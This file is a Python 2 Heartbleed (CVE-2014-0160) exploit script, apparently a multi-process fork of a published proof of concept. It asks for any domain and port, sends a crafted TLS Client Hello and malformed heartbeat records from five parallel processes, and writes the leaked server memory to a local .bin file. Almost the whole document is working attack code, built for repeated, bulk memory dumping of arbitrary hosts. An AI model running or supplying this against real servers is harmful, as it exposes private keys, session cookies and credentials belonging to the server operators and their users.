#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Multi process and bin dump version by anthrax@insight-labs.org import sys import struct import socket import time import select import re from multiprocessing import Process,Lock,Manager THREADS = 5 lock = Lock() def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 64): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s ' % (b, hxdat, pdat) print def hexwrite(s,fn): lock.acquire() fn.write(s) #print 'data dumped...' lock.release() def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: try: data = s.recv(remain) except Exception as e: print e pass # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None #print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s,fn): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: #print 'Received heartbeat response:' hexwrite(pay,fn) if len(pay) < 3: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: #print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def fuckit(domain,port,fn): while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #print 'Connecting...' #sys.stdout.flush() s.connect((domain, port)) #print 'Sending Client Hello...' #sys.stdout.flush() s.send(hello) #print 'Waiting for Server Hello...' #sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break #print 'Sending heartbeat request...' #sys.stdout.flush() #s.send(hb) hit_hb(s,fn) s.close() except Exception as e: print e break def main(): while True: indata=raw_input("Enter domain name and port, example: google.com:443 : ") print indata domain=indata.split(':')[0] try: port=int(indata.split(':')[1]) except: port=443 if len(domain)<5: print 'wrong domain' continue print 'fucking '+domain+' @ port '+str(port)+'...' fn=open(domain+'.bin','ab') for j in xrange(THREADS): t = Process(target=fuckit,args=(domain,port,fn)) t.daemon=True t.start() if __name__ == '__main__': main()